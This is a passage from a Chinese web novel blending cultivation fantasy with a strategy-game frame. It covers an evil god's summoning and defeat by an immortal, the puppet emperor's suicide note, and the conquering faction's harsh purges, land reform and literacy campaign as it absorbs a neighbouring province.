因他们动用了不少护身法宝,一时间竟和永道宫等人斗得难舍难分,难以近身那宫主。 景旭宫宫主迅速推动术法,加快念咒速度,顶端的小球飞速转动,流泻出让人难以忍受的压迫感。 邪神的气息越来越浓厚,宫主心底一喜,快了!马上就到了! 恰逢此时,仇师祖突破阻拦,冲上来甩出去一枚爆破咒,将那即将凝聚成型的符文瞬间打散一块。 景旭宫宫主惊诧一瞬,又恼火不已。 对方很难应付,他不得不被逼得动用燃烧寿元之法,强行提升修为,终于画完了那符文的最后一笔。 仇师祖暗道不妙,攻击落在符文上,很可惜,那符文只是暗淡瞬间,而后又再次清晰起来。 坏了,这是和邪神彻底建立联系了。 被邪神注视关注后,祂定会降临,至于何时降临,不过是时间问题。 想到那尊无面青铜小像散发的不详气息,仇师祖心急如焚。 毕竟是人老了,分神后硬生生挨了对方两次攻击,喷出一口血迹。 景旭宫宫主则是冷笑不已。 “老东西就乖乖入土等死,若再妨碍我等,今日便叫你身死道消!” 他刚想继续再嘲讽,却察觉到不对。 ——圣物的链接出问题了。 自己这边没事,那出事的只能是小皇帝那边! 但这不可能,他明明将宫内上古时期的法宝给了小皇帝,还调配了长老和弟子前去护着他,但为何还会出问题? 最要紧的是,小皇帝那边都出问题了,居然没人在第一时间将消息传递过来? 万分惊怒不解时,通讯符急促闪烁。 景旭宫宫主立即捏碎符咒,便听对方惊惧道:“宫主!陛下自尽了!” 大脑呆愣了数秒,恼怒和不敢置信迅速席卷而来。 自尽?小皇帝为何会这么做? 到底怎么回事? 事情发展超出预期,他算到了永道宫会派人阻拦自己,也算到了小皇帝那边的情况,将时间计算得清楚,又成功召出邪神,却没能算到这其中唯一的意外! ——该死!他居然敢自尽!不当事的废物! 要知道使用圣物召唤邪神后,唯一的缰绳便是和圣物有链接的小皇帝。 只要小皇帝人活着,就算邪神再难控制,但那缰绳也在他手里握着。 现如今小皇帝已死,链接中断,邪神不仅仅实力会大幅度削弱,同样的,祂剩余力量将会彻底失控。 谁也说不准这失控的部分力量会有什么样的杀伤力。 最重要的是,宫内失去了一个可操控的武器,邪神会无差别攻击所有人,而非是他们对付景旭宫的手段! 一时间,景旭宫宫主气得道心不稳,体内勉强抑制的灵气顿时乱窜,撞击着体内每个薄弱的点,像是要突破这具肉身的限制。 再加上先前强行使用寿元燃烧之法,这具身体实际上早就处于崩溃的边缘。 仇师祖趁此机会,迅速反攻,他硬挨了两下后,狂吐鲜血倒飞出去。 不等仇师祖继续上前杀死死对头,一股奇特的,让人从灵魂深处升腾起来的恐惧席卷而来。 这气息遮天蔽日,迅速飘散至整个元城。 仇师祖抬头去看,不出意料从那漆黑云层看到一模模糊糊的白玉枯骨。 ——邪神还是降临了。 他们的阻拦并未成功,唯一值得庆幸的是邪神的实力被削减,且控制权不再属于敌人。 眼看脱离控制,仇师祖先下令本宫弟子暂时后退。 而战场上,景旭宫上下弟子还不清楚邪神已经脱离他们控制,先前就听宫主说邪神是来助他们一臂之力,如今眼看邪神现身,个个兴奋。 又看永道宫个个迅速退去,还以为对方这是怕了。 “哈哈哈,快追,今日便要痛击落水狗才是!” “跑得比兔子还快,定是被宫内召唤出来的神物吓到了!” 这些人边追边抬头去看阴沉沉的天,那股属于邪神的气息浓郁至极,尽管他们中也有不少人曾修炼过邪术,但两者强度决不能对比。 眼看即将追到前面逃窜的永道宫道士,这几人兴奋不已,刚摸出符咒,却眼睁睁看那阴沉的天像是水汽一样流泻,而后凝聚成一只诡异的青铜雕塑手臂。 画面确实让人毛骨悚然,但想到这是自家宫内召唤而来之物,这几人没太当回事,无视它想要继续捉拿那永道宫道士。 本以为是自家的召唤物,直到这只青铜手臂贯穿其中一内门弟子的心口,其余人顿时炸毛。 “怎么回事!这玩意怎么开始攻击我们了?” “符咒对这东西没效果!” 在众人惊惧的眼神内,这手臂在那弟子心口搅合片刻,抽了出去,而后那弟子瞬间炸开,片刻后,多了一具无面青铜小像出来。 这场面堪称诡异,尤其这小像出现得突然,明明没脸,却莫名让人不寒而栗。 几乎瞬间,众人脑内炸开“危险”二字,下一秒,铺天盖地的青铜雕塑手臂直冲他们而来。 千万呓语炸开。 “成玉身” “不烂不朽” “炼尽生灵归寂为玉” “都进来都进来同我成玉同我不朽” 众人被那青铜雕塑手臂按得动弹不得,脑内痒意蔓延,理智化为虚无。 很快,他们便从先前的抗拒挣扎到主动张开手臂,脸上透露出狂热信徒一般的癫狂,任由那青铜手臂贯穿心口。 临死前,带笑的嘴角拉扯到最大,直到表皮崩坏,身体炸开。 第347章 覆灭 白玉枯骨降临异象实在诡异。 永道宫弟子跑得快,边跑边看清楚落在身后的景旭宫弟子的惨状。 看来此物真的是无差别攻击,看那些人临死前的诡异面容,邪神果然是混乱的象征,会迷惑心神让人甘愿拜服,将自身献祭给邪神。 这消息被同步到仇师祖耳里,为了避免无意义的伤亡,仇师祖下令让众人先撤回来,共铸护城之法,不然恐怕整个元城的普通百姓会被这邪神吸干。 很快,一盏盏温暖的明黄色小灯从元城周围亮起。 驱散了元城上空独属于邪神的阴暗气息。 先前元城的百姓个个缩进家中,捂着孩子的嘴,全家人惊惧不安的躲在屋内角落,眼睁睁看到门外邪神肆虐。 对于普通人来说,就算是官兵也是招架不住,更何况是邪神? 他们蜷缩在屋内最隐蔽的地方,却很明显有种被剥开,被某种存在看得一清二楚的不安感。 眼看那青铜雕塑一样的神像距离自家越来越近,年长的人死死捂住幼儿的嘴巴,拼尽全力才让自己不要颤抖。 但实际上,这青铜雕塑无面神像很是诡异。 它像是在不断的杀戮中逐渐变得完整,原先还只是一只青铜雕塑手臂,如今竟然已经修成了一具完整雕塑。 移动的时候没有声响,像一片阴影一样,在低空掠过。 普通百姓全家人挤在一起瑟瑟发抖,祈祷着这怪物千万不要发现他们。 好容易看那雕塑转身飞向另一边,先前紧绷的情绪终于支撑不住,难以控制的喘气,心跳得快要飞出去。 怀里的孩童憋得小脸通红,眼泪鼻涕淌了一手。 孩子的母亲小心翼翼地低头给孩子擦干净脸,男主人松了口气,伸出手去拿一旁桌子上放着的水壶想给孩子喝点水压压惊。 只是这水壶手感有些发涩,像是某种没有烧好的瓷器,带着刺挠劲。 男人心中暗道奇怪,家里的水壶虽说的确是粗瓷做的,不过往日摸起来有这么粗糙? ——或许是他今日吓着了,想多了。 他用力想要将那水壶拎过来,却觉得无比沉重。 等等,这水壶有这么重么? 不对劲的念头迅速席卷全身,先前隐藏在深处,被第六感刻意忽略的感触瞬间炸开 那手感,不仅仅像是没烧好的瓷器,更像是某种金属生锈后的刺手手感。 脑内有关于那青铜雕塑的所有画面在脑内迅速倒放。 男人张大嘴,崩溃抽回手,下一秒就和无面青铜雕塑面对面。 青铜雕塑还在扑簌簌往下掉粉,露出斑驳的锈迹,而他刚才,摸到的便是那处锈迹斑斑的地方。 此物分明没有脸,恶意的气息宛如实质,这股湿热粘稠的触感将他周身全部包裹在内。 他想尖叫求救,但恐惧攫取心神,压根叫不出来,喊不出来。 身后的妻女也被震在原地,不能动弹。 脑内越来越痒,痒得他几乎要将大脑挠破。 而就在此时,一股暖意迅速烘干了他周身被裹上的黏腻触感,那东西像是活的一样,从他身上抽离。 几乎瞬间,这青铜雕塑退散,撞破了房门冲了出去,直奔城外。 如此惊心动魄的瞬间发生在不少百姓家中,众人崩溃庆幸之余,忙隔着窗户去看那雕塑到底去了哪儿。 结果就看到城内点燃的星星点点灯火——是那明州道士们在念咒。 再想到元城景旭宫过往收着百姓们的银钱和供奉,如今真的来事了,还没有外来的道士靠得上,一时间,众人心中难免觉得不痛快,惊惧之下,骂得很是难听。 虽说永道宫勉强用符咒护着城内百姓,但他们肯定不是邪神对手。 尤其是因为吸收不到新的生气,雕塑玉化过程拉长,这些分散在城内的,负责寻找生人气息的青铜雕塑无功而返,自然对张开这庇护之法的永道宫多人怨恨不已。 个个直冲永道宫而去,要将他们撕碎后,吸收同化。 邪神即便是被削弱状态也极难应对,这些青铜雕塑们撞击在永道宫特意布置的防护罩上,发出一连串噼里啪啦,让人头皮发麻的声响。 双方僵持不久,这自上古时期传下的防护罩就要龟裂开来。 永道宫时刻会被青铜雕塑攻破防御,情况骤然陷入危急! 与此同时,姜定的屏幕突然一片血红。 他吓了一跳,第一时间还以为电脑出问题了,等到看清楚上面弹出来的东西后愣了。 “邪神入侵?啊,这都啥跟啥副本啊!依稀记得这游戏定位是基建种田,轻松修仙?” 姜定不解,姜定怀疑人生。 但这【邪神降临】的负面事件还是要处理一下的,放任不管的话,先前获得的成果会被大幅度摧毁。 肝了这么久,这结局绝对是他不愿意看到的。 于是姜定二话不说,先选择了解决此事件。 【您是否需要花费30万两消灭邪神?】 【A.是】【B.同意】 姜定沉默。 这还有问他的意义么!所以这部分完全是剧情杀吧! 如果有玩家没存够30万两的话,就会在【邪神降临】事件里迎来GG。 歹毒—— 骂归骂,姜定还是老老实实点了个是。 在检测到余额充足后,这选项总算黯淡下去。 而姜定则是被迫观看一段精美异常CG。 画面里,那遮天蔽日的阴云被金光瞬间点亮,金光间,主控像是救苦救难的活神仙一样降临,这画面带给人的冲击力实际上是非常大的。 尤其他还只是隔着屏幕看看CG,这会都看得兴奋得发抖。 好好好,这游戏确实会拿捏人的心思啊,这一刻爽感完全赚回那30万银两带来的心痛了! 元城。 永道宫众人还在苦苦支撑,准备时刻应对保护罩外面随时会侵入进来的青铜雕塑。 虽说这样他们压力会大,但至少延缓了邪神进化,杀害平民。 但防护罩也有极限,听防护罩发出“噼里啪啦”的尖锐碎裂声,仇师祖说不紧张那是假的。 他们还有另一件效果稍次的防护阵法,只是如今正在催动。 他脑内飞速计算了催动时间和此防护罩能撑住的时间,下一秒,防护罩“哗啦”一声炸开,碎裂成无数的淡蓝色碎片,像雪花一样往下坠落。 ——完了!这邪神看上去比预想中更恼怒,下一个阵法要连接不上了! 仇师祖手中的符咒顿时激发而出,试图阻止青铜雕塑的下一步动作,但雕塑看着笨拙,动作却极快,个个快得拉出残影,直奔队伍内还在催动阵法的弟子们。 催动阵法的弟子不能分神,更不能挪动位置,先前仇师祖扔出去的符咒对这些雕塑毫无作用,还有其余弟子正试图用肉身抵抗邪神雕塑,尽可能的为催动阵法的师兄妹争取时间。 仇师祖红了眼——这是要用人命填,符咒对邪神压根没用! 青铜雕塑的呓语似乎就在耳边,像是在嘲笑,也像是在欢呼,欢呼它们即将到来的胜利。 就在这千钧一发之际,数抹金光出现,而后这些意图扑在永道宫弟子们身上的青铜雕塑个个被金光击穿。 这金光照穿雕塑之际,雕塑原先的灵活不再,反而像是一尊真正腐朽的青铜雕塑一样,陷入僵硬。 先前疯狂的呓语像是被人按下暂停键一样,消失无踪。 取而代之的是这些青铜像的尖锐惨叫。 众人瞪大眼睛,眼睁睁看着雕塑被金光固定在原地,它们用尽全力试图逃走,但却毫无作用,个个被金光洞穿,在尖锐咆哮中化为齑粉。 这般霸道的金光只有一人能做到。 众人抬头,便看阴云遍布的天空赫然被金光撕开,下一秒,那熟悉的,身穿青色衣袍的仙人便出现在天空。 那白玉枯骨的本体还想逃走,只见仙人袖口飞舞,钻出去一根绳索,直冲它而去。 仇师祖等人见过的还好,恍惚了一小会就回神了,没见过的人,譬如元城百姓,亦或是景旭宫道士,再或是朝廷命官,这些人则是看得目不转睛。 其中有一大部分人先前一直在质疑明州是否存在仙人,但此刻,看到仙人骤现,即便是再嘴硬的人也不得不承认,但凡是亲眼看到过的,亲自在现场感受过这余威的,绝不会认错,甚至还会觉得往日看到的仙人雕塑,画像不够写实,那画本上描写的不够强。 如今仙人仅仅是初登场,随手一挥,那作乱的青铜雕塑便化为灰烬。 还有那会飞的绳索,更是神奇,看样子是要将那邪祟追捕回来。 若是仙人更认真的话,这世界岂不是要天翻地覆? 不知道谁开的头跪了下去,等到仇师祖反应过来时,目之所及之处,只能看到人群密密麻麻跪了一地。 人群还在哀恸哭泣,磕头跪拜。 大都是在求着仙人庇护之类的。 除了普通民众外,人群中还有不少人心思复杂。 譬如景旭宫宫主在释放出邪神,失去对邪神控制后,本想用传送咒逃走到海外大陆。 邪神力量强大,但智商不够,他完全可以去别的地方再创景旭宫,没必要和邪神硬碰硬。 想归想,但很可惜,传送到一半,便被一股莫名的力量阻拦。 ——传送失效了。 宫主震撼不已,背后冷汗涔涔。 这可是空间术法,若要拦截,那说明术法本人的修为早就到了天地合一的境地,这在如今的末法时代可谓是绝不可能存在! 但等看到那突降的仙人,景旭宫宫主震惊之余,第一时间便感受到一股凌驾于万物之上的绝对压迫感。 危险,很危险! 脑内每个意识,思维,都在叫嚣着快逃,拼命逃,逃到对方看不到也听不到的地方。 他再次将手摸到另一张备用的传送符咒,但不等手触碰到符咒,便看那仙人垂头俯视众人,面庞无喜无悲,一种巨大的恐惧袭来,第六感跳出来摇晃着他,让他快些逃走,但实际上,身体却反应不过来,直到听到那仙人慢慢悠悠吐出一个字。 “死。” 这字像是触碰到了未知的禁忌,先前体内勉强压制的灵力瞬间暴涨,哪怕他倾尽全力,想将灵气泻出,却依旧无济于事。 周围景旭宫道行浅一些的弟子早就在惊恐中先后炸开,一时间,宛如炼狱。 临死前,宫主后知后觉—— 原来,这便是那功法的主人,果然是真仙。 也是,除了真仙,还有谁能创造出这般逆天的功法? 恨,恨啊,恨真仙不扶持他们景旭宫! 在此起彼伏的惨叫声中,即便是万般无奈,他的肉身轰隆一声,炸成无数的碎片,似乎要将过往一切罪恶洗涤冲刷。 第348章 消灭 腥风血雨。 血腥味弥漫开来。 但很快就迅速消散,不仅仅是炸开的尸体消失,甚至连原先溅射开来的血迹,腥味也一并消失。 一切安静得像是从未有过这场杀戮。 甚至会让人怀疑先前的血腥味是不是幻觉。 众人抬头仰望着仙人身躯,本该混乱的战场却意外安静。 而仙人则是在众人的仰视中,缓缓伸手,紧接着,一抹金光自远处传来。 等凑近些看,才发现这可不是什么金光,而是先前那飞出去的绳索。 绳索尽头,死死捆着一块像是玉石一样的骨头。 仇师祖瞪大眼睛——这定是那邪神白玉枯骨! 仙师竟然只用一根绳索就能将此物困住! 要知道先前这邪神那青铜雕塑让他们吃了不少苦头! 但此刻再看这邪神一副蔫了吧唧,不敢造次的模样,哪里还有先前的嚣张? 越是靠近仙人,白玉一样的枯骨表皮晶莹剔透的玉逐渐消退,逐渐变成黯淡无光的充满浑浊和杂质的玉。 不等众人反应过来,就听那骨头开始求饶。 “真仙前辈饶命!在下只是修炼术法入魔,并非故意想吸收百姓性命啊!” 沉默的仇师祖等人:这对吗?先前这邪神不是还挺牛的?一副不能沟通的样,这会被仙师捏在手里,身家性命全看仙师心思,突然就懂得说人话了。 这年头,还是实力最大,啧啧啧。 这骨头继续求饶,虽说没有神形,但那谄媚姿态确实让仇师祖等人大开眼界。 额,还得是邪神,能屈能伸,果然这邪修都不要脸! 仇师祖生怕仙师一时心软放过这罪魁祸首,但转念又一想,景旭宫那么多人,仙师说引爆就引爆,几乎将景旭宫全部人都绞杀,其原因就是因为景旭宫作恶多端,更何况这骨头可是实打实的邪神,造成的损伤不比景旭宫差。 如此一想,仇师祖就放松了,开始纯看戏。 果然,无论这骨头如何求饶,但仙师均是一副没什么表情的姿态,等到骨头甚至匍匐在地,发毒誓要给仙人当牛做马时,便听仙师开口。 “此话当真?” 这骨头立即撞得地面“砰砰”作响。 “前辈,自然为真!只要前辈肯饶小辈性命,小辈不说当牛做马,就算是为前辈赴死也是没二话!” 仇师祖心跳加速,想说些什么阻拦,就看那绳索微微松懈几分,这骨头被放开后,说时迟那时快,瞬间浑身发光,试图逃回那处空间。 嘴上叫嚣:“等着瞧吧!等我再修炼数年,等日后你陨落,我便重新回来将这里侵占,纳入我麾下! 吸干这里的人畜,再造我玉骨!” 仇师祖心道不好。 先前景旭宫的召唤打通了两方空间,确实如它所说,两地通道已经打开,日后想什么时候回来就回来。 倒不是说他觉得仙师会陨落,但日后仙师总有忙不过来的时候,若让这邪神偷偷发育,日后说不定还真会再次席卷而来,或者干脆这邪神下次聪明点,隐藏在人群内,一时半会还真不好控制! 眼看就要钻进那时空裂隙内,这白骨兴奋得发抖,而在它刚触碰到裂隙的瞬间,却突然被无形的绳索用力一抖,拉了回来,同时,那还张开口的裂隙钻进去两柄弯刀,仇师祖看得分明,那正是仙师的武器。 很快,从裂隙深处传来一阵阵哀嚎,应当是这白骨的部下,而此刻,这白骨被再次揪回仙师手心,眼睁睁感受因为部下衰减,体内生机迅速减弱的痛苦。 它身上就连浑浊的玉也要维持不住,这玉片龟裂开来,眨眼间就成了青铜雕塑那样的青铜骨。 它想求饶,但一个字也说不出来,只能眼睁睁看那两柄弯刀得意扬扬的从缝隙内出来,而那缝隙被这真仙一把攥紧,而后裂隙瞬间合拢。 那股链接感瞬间消失,青铜骨愣了片刻,这才察觉到这真仙放手的目的——原来早就知道它要逃回缝隙内,而对方等的便是它打开裂隙时,绞杀其内部下,同时彻底摧毁裂隙。 它还在下意识求饶,但心里清楚,这次是真要死定了。 下一秒,这青铜骨便被碾碎,磨灭成尘土消散。 仇师祖惊诧。 仙师这最后一步,应当是用了某种碾灭神魂的术法,因为他再也察觉不到一丝一毫属于那邪神的气息。 且不仅仅是邪神,连带着先前爆体而亡的景旭宫道士们,他竟然也是一点感应都没了。 看来,仙师下手确实斩草除根,一点痕迹都不会留下,省得日后这些害人玩意再有机会作恶。 仙人接连出手,招招一击毙命,且还会御空飞行,有御龙之术。 再加上容貌不似凡人,几乎同一时刻,万民跪拜。 大都百姓们哭喊着求仙人降临,求仙人庇护。 仇师祖看得很不是滋味,毕竟在战场上,周围还是乱肢横飞的惨状下,这幅画面不会让人有任何震撼之感,反而实在深觉心酸。 像是穷途末路之人发出的最终求救。 但他知道,仙师会接受百姓的求救,就像接住了他们,接住了明州百姓,接住了任何一个想要好好活着的人。 在消灭最大的威胁后,仙师再度消失,却在空中留下一行金色大字。 “日后黎州一切事务由明州统领,方知州全权负责。” 仅仅是一行字,这些百姓心底一松,对着这行字哭着磕头跪拜。 ——明州好啊,明州百姓过得可比他们好多了!这是仙人的安排,那定是最好的! 先前方知意的思想教育、舆论没白费劲,在这战役彻底胜利后,明州几乎没花费太多时间,迅速将整个黎州吞纳麾下。 同时派出好几支人马,分开处理后续各方势力。 景旭宫余党扫尾工作便交给了永道宫,虽说大部分景旭宫道士全都爆体身亡,但其中定有不少没资格修炼《青梧引》的外门弟子。 至于对这些外门弟子的审判,全权交给永道宫。 他们有的是办法知晓此人过往是否作恶。 若作恶多端,便当即处置,若罪行较轻,那便拉出去做苦力活改造。 至于朝廷内三党,中立派的话,方知意特派祝应前去洽谈。 先皇派和保皇派两党,则是不管三七二十一,先抓进牢房,审讯再说。 其内,尤其是保皇派的五人,除廖尚书毒发身亡,其余四人均落了个和景旭宫宫主一样的下场,早就归还于天。 虽说罪魁祸首死亡,但这两党内部关系错综复杂,就算是方知意这样没什么牵挂的人进场,一时半会也需要花费时间斟酌下手。 当然,倒不是纠结能不能动,而是单纯的人员关系杂乱,很费劲。 其中,杜百奉命带队,前往谈天禄府内,亲手将其捉拿归案。 事实上,谈天禄想跑,但实在是跑不出去——这整个元城都被明州围着,他难不成还能变成蚊虫飞出去不成? 于是便落了个狼狈被捉。 以往都是杜百为了大义伏低做小,百般讨好,平时没少想着法子对谈天禄奉承一二。 尤其是一开始在元城布局时,其中心酸不必再说。 如今两人位置互换,谈天禄被铁链铐着手,垂着头跪在院内,他府内的管事被逼迫着带队前去打开库房。 繁杂秀美的宅子现如今遍布官兵,这些官兵身着盔甲,迅速穿梭在其内,将他花费毕生心力积攒到的金银珠宝一箱箱从库房抬走,直送国库。 事已至此,谈天禄还有什么不明白的。 怪不得当初杜百从未多嘴问过他不该问的,也不曾像其他人一样对他的收益眼红,过去他还觉得那是杜百有眼色,还觉得此人合作起来十分舒适,懂进退。 结果全是因为这收益全为他人做嫁衣! 谈天禄气得脑袋发晕,但都这会了,再说这些话已经没意义了,只是看向杜百时,情绪万分复杂。 想都不用想他日后结局如何,大概率是要被弄死的,毕竟按照这些官兵所说,过往作恶多端便要被依法处置,那他绝对死无葬身之地,只是这杜百过去实在是装得太好,若不是前段时间她来元城挑衅,他甚至都没发现对方是女子。 实际上,从那日开始,谈天禄就没怎么睡过好觉,如今被逮了,竟然还该死的觉得松了口气,这天总算是来了。 他早就心里七上八下许久,那日后他回到家细细思索,慢慢从过往拼凑出整个事件来,意识到他日后可能的命运后,不是没想努力逃走,而是实在是没招了,逃不出去。 时间一长,也是被未知的恐惧折磨得日夜不安,惶惶不可终日。 现在尘埃落地,他和杜百不自觉对视一眼。 对方并没有和他开口,也没像想象中那样对他拳打脚踢,以泄过往之愤,而是挥手,示意官兵将他押送牢房,等待日后受审。 谈天禄心中涌出一股极大的屈辱感,原来一开始,人家压根就没把他当回事,他还多心,觉得对方会公报私仇! 实在是憋不住,谈天禄被押走时还怒骂了杜百两句。 杜百微挑眉,不等她开口,押送他的两位官兵先一人给了他一拳。 “大胆,竟敢对杜大人口出狂言!” 这一拳打得他直吐苦水,晕头转向,差点就要跌倒在原地,又被那两人架起来继续拖着走。 各派势力被分类整治,而方知意本人,则来到了皇宫内。 推开小皇帝寝室,便能看到他吊死在横梁上。 死得安宁。 脚下还散着几张信件。 方知意蹲下身捡起信件。 笔迹仓促发飘,不像是专门练过书法的,更像是后天习得。 不过这内容竟然细细写满了明州民生。 第349章 防守 方知意垂眸去看这信纸。 又和另一张行云流水,气韵生动的字画对比。 ——这不是小皇帝的笔迹,更像是探子给的情报。 所以当日是谁给小皇帝送进来这消息? 想到小皇帝身死的时机正是被看得最紧时,说明给情报的人或许有能力能制约景旭宫的人。 在小皇帝临死前,这消息都没能流落出去,可见很大概率就是景旭宫内的某人传递过去的消息。 只是,这种有三观道德的人居然还能出现在景旭宫? 方知意顿觉有趣。 又伸手去拿落在最上层的信纸。 这并非是小皇帝给任何一人写的,而是他给自己写的。 字字泣血。 “朕本疏藩,兄为贤储。 昔年自在,惟愿安乐,无问鼎心。 兄长早逝,朕为强臣所立,空居帝位,形同傀儡。 政令不由己,举措尽受制。 今新君圣明,天下有归,社稷可安。 朕一死,以全兄志,以谢苍生。 此生最憾事有二,一不曾做回昔日闲散宗室,二不曾做过一日真正的帝王。 来世,愿永不入宫门,不涉皇权” 原来小皇帝自尽是因为看透了景旭宫,定是他知晓自己若身死,景旭宫召唤出来的邪神实力也会大幅度下降。 当初她还以为小皇帝是被逼宫而死,现如今看来,死亡是他选择的最体面的方式,想来小皇帝是想将这条命的最后一点价值发挥干净。 看完这信纸,方知意慢慢叹息一声,又命人将小皇帝的尸体带下去,找一处地方埋葬。 ——好歹他临死前还有为天下黎民考虑,自尽后,邪神实力下降许多,间接救了不少无辜百姓,即便是过往失责,也理应给点体面才是。 将小皇帝的后事处置妥当,方知意便开始整日操劳政事,如今黎、明二州共属仙师旗下,她们要做的还有许多事,首先便是扫盲必须第一时间落实,其次,便是土地划分,乡绅土豪的应付方式。 除了这些外,对于遗留下来的大家族该如何处置。 大方向就是有罪就杀,无伤大雅的小罪便留着等日后将家族企业收编。 当然,矿产,盐类生意不存在商量区域,这部分相关家族官位直接被取消,其内勾结严重,因这些人都作恶多端,方知意甚至眉头都没皱,下令处死其内关联之人。 背后有仙人撑腰,又是如此雷霆手段,谁敢不从? 且更何况此次明州胜利,和他们过往想的任何一州胜利均不同。 原先还觉得就算是事变,就算是日后总有一州统领大炎,但只要家族有用,家族根基在,朝廷就动不了自己。 但如今看来,这想法压根错得离谱。 这等假设得建立在新的君王还按照原来老一套和他们玩,但现在方知意可不会惯着他们。 今日说杀的人,脑袋绝留不到明日。 原先这些人有多想爬上位高权重之地,如今就有多恐惧。 毕竟位置高了,谁还能不做点恶,谁的手又干净? 也有人想隐瞒,试图蒙混过关,但这新的刑讯部门审讯起来不仅效率极高,也疼得要命,正常人上去不出三招就哭爹喊娘的将那点事像倒豆子一样倒得干净。 想到自己做过的恶,他们自是不敢说,但架不住慢刀子割肉,实在是崩溃了,没招了。 此时不说求有活路,只求给个痛快。 刑场附近,还专门张贴了一张砍头表,像是放榜一样,细细写明了顺序。 若是有和自己有仇的话,还能申请进去看热闹,嘲讽一波。 据百姓说,这刑场附近闸刀一天到晚的声响就没断过。 基本都是当天送来一波,全部杀光。 甚至一个处刑人都不够,还需要再来几个。 闸刀因使用频率太高,甚至钢刃都开始卷刃,后来明州的机械厂送来了新的闸刀,锋利无比,大大提升了效率。 这刑场透明化主要是让百姓知晓明州入场后的办事力度,且毫不夸张的说,这些人里,多的是名声彻底臭了的,如今百姓的怒火也需发泄,而这些死刑犯就是个很好的宣泄出口。 方知意主张不要浪费死刑犯的剩余价值,其余人也没人站出来反对,于是这条就这样过了。 现如今,百姓们可在空闲之余,还去看看仇人被斩首当日狼狈模样,亲眼看到仇敌身死,神清气爽后,这才正常生活。 黎州百废待兴,正是需要大量劳动力的时候,在扫盲班的底子铺设好后,黎州众人便开始进入最为基础的扫盲阶段。 这个阶段,其实很多人是不理解的。 在他们看来,扫盲——也就是读书虽说也重要,但这哪有吃饱肚子重要,更何况过去那么久,他们不识字,这生活还不是照样过了嘛!没看到说不识字对生活有哪些不好的地方! 这是最底层百姓的想法,而层次较高一些的人则是冷汗涔涔。 疯了,纯粹是疯了! 居然是打算倡导全民识字,这这是打算开民智啊! 若是百姓开智,日后不说别的,统治起来又怎么可能会轻松。 且过往他们便以读书认字为上等人,如今人人都能读书,都识字,那他们的优势岂不是日后会泯然于众人?更恐怖的是,这民间也有好苗子,若是因读书识字变得聪慧,很难不说未来会抢占他们的生存空间 有人焦虑,有人则是纯震撼。 ——全民识字,这得消耗多少财力,做出此决策的人定是魄力十足!而他竟然还能在有生之年看到这样贤明的君主,简直和做梦一样! 等到听闻如今明州境内早就普及扫盲班和学堂义务教育后,这类人更是震撼完了。 好好好,以往只觉得黎州才是三州之首,现在看来,事实并非如此! 明州如今势头凶猛,现在看来,黎州已经落后明州一大截了! 有人欢喜有人愁。 当然,受冲击最大的还是土地政策。 自从抄家诸多高官后,土地再次回流到官府手里,而不日,官府便下达新的法令。 旨在表明,日后土地均要公有化,按照人头分地,先前那些豪绅,大家族吞下去的百亩土地,如今就要老老实实全部吐出来。 土地往后并非个人所有,而是全部归官府所有,个人所有的仅仅是使用权,任何人不得私下买卖,否则按照违法处置。 一开始自然有许多人不满,还试图聚众闹事。 但眼看聚众闹事的头被当场击杀后,众人顿时安静如鸡。 ——此物莫非便是那传说中的火铳? 居然真的能悄无声息杀死人啊! 众人满腔怒火,本还想继续闹事,但如今闹事者的血还在汩汩往外流,事到如今,这些人又怂了。 ——这这这哎,还能怎地,忍着吧! 不想忍也行,去和官府的火铳说去吧! 看看到底是自己脑袋硬,还是官府的子弹硬! 在这一枪后,聚众“呼啦”一声散开,官兵开始抓捕其余闹事之人。 头死了,这会人群立马乱了,跑的跑,嚎的嚎,总归是一片混乱,很快便被官兵迅速制服,压制在地。 第二日,这消息便被立即通报,传递到黎州各个县域,当做典型。 至此,黎州众人是切实知晓了方知意的强硬手段,也知晓了对方对土地再分配一事的冷硬态度。 黎州有人欢喜有人愁。 而同样的,幽州也是如此。 先前黎明二州闹出来的动静属实不小,只要不是消息闭塞之人,都知晓如今明州再胜,坐拥二州。 且最要紧的是,幽州是彻底知道了明州的确有仙人坐镇的坏消息。 事实上,就算明州背后没有仙人坐镇,她们如今实力相比于对方,也是差了许多。 根本不具备和其一战之力。 若是强行要战,可谓是以卵击石。 兵营。 一身高体壮,胡须浓密将领正对着战略图愣神。 有探子来报,将那明州战胜,如今掌管两州的小道消息回报回来。 “曹副将,这帖子我就给您放在这儿了。” 此人并非别人,正是好几年前还为义师军效力的曹副将。 当初他为那侯明远擦屁股没擦干净,人都死了,他活着回去也不合理啊,于是当即带领队伍,直奔幽州,投奔了幽州旗下,如今也是做个副将。 因后续义师军绵软无力,被明州陈京行杀穿后再也没了气候,曹副将本还担心那侯天王会来找他事,结果看对方自顾不暇时,松了口气。 好啊——反正敌人有事,他自己就没事。 等日后听闻侯天王身死后,曹副将欣喜欲狂。 太好了,可算是没人再能惦记着他了,日后他就老老实实在幽州苟着就是,万万不可再次浪费捡回来的性命。 想归想,直到看到这新递过来的帖子时,过往被刻意忽略的恐怖记忆再次重回大脑,曹副将的手开始不自觉颤抖,直到将那卷轴打开,看清楚其内所写,原先还提着那口气此刻也散得差不多了 确实是他那日遇到的妖不对,是仙人,有仙人作为后盾,幽州被拿下也是迟早的事。 先不说别的,等日后幽州被占,对方不会还能认出来他吧? 曹副将心跳得极快,和打鼓一样,这会甚至已经开始考虑要不要往更远的地方跑,好歹日后避开敌军。 但转念又一想,这举国上下这么多人,倒是不信那仙人还能记得他模样? 要知道仙人定是有许多事要做的才对,可能早就将他忘了。 曹副将还在自我安慰,很快,军营的将军差人告诉他,让他去防守幽黎边界线,防止那仙人的神兵侵入。 曹副将蒙了。 ——啊?我吗?去防守仙人? 第350章 归顺 曹副将不死心,又问了几遍,得到同样的回答后,第一反应是必须要找机会逃了。 他又不是这些完全没和仙人作战过的人,当初对方的手段他记得一清二楚,当初应当是对方想留他个活口报信,如今好不容易捡回一条命,若再次不知死活惹怒仙人,恐不能妥善收场啊。 曹副将逃命的心思骤起,此刻面上淡然,心里早就开始预谋着出路。 ——先稳一稳,等确认消息来源属实后,他便找机会逃走,决不能在此地丢命。 同时,幽州坎城。 虞珠正垂眸听属下报告最新情报。 如今明州已占据二州,幽州说实话压根不具备与之一战的条件 而此刻,姜定则是看着屏幕界面,琢磨下一步。 如今【邪神降临】事件已经结束,他有了两大州,还顺带摧毁了景旭宫势力,如今只剩下最后一个处于中立状态的幽州还没能收复。 再次将鼠标挪到那幽州界面上,后面很快便显示两个选项。 【攻打(各属性满足,可随时攻打)】 【劝降(威望满足,前置事件均满足)】 而这两个选择中,后者是金色的选项,代表要求更高难度。 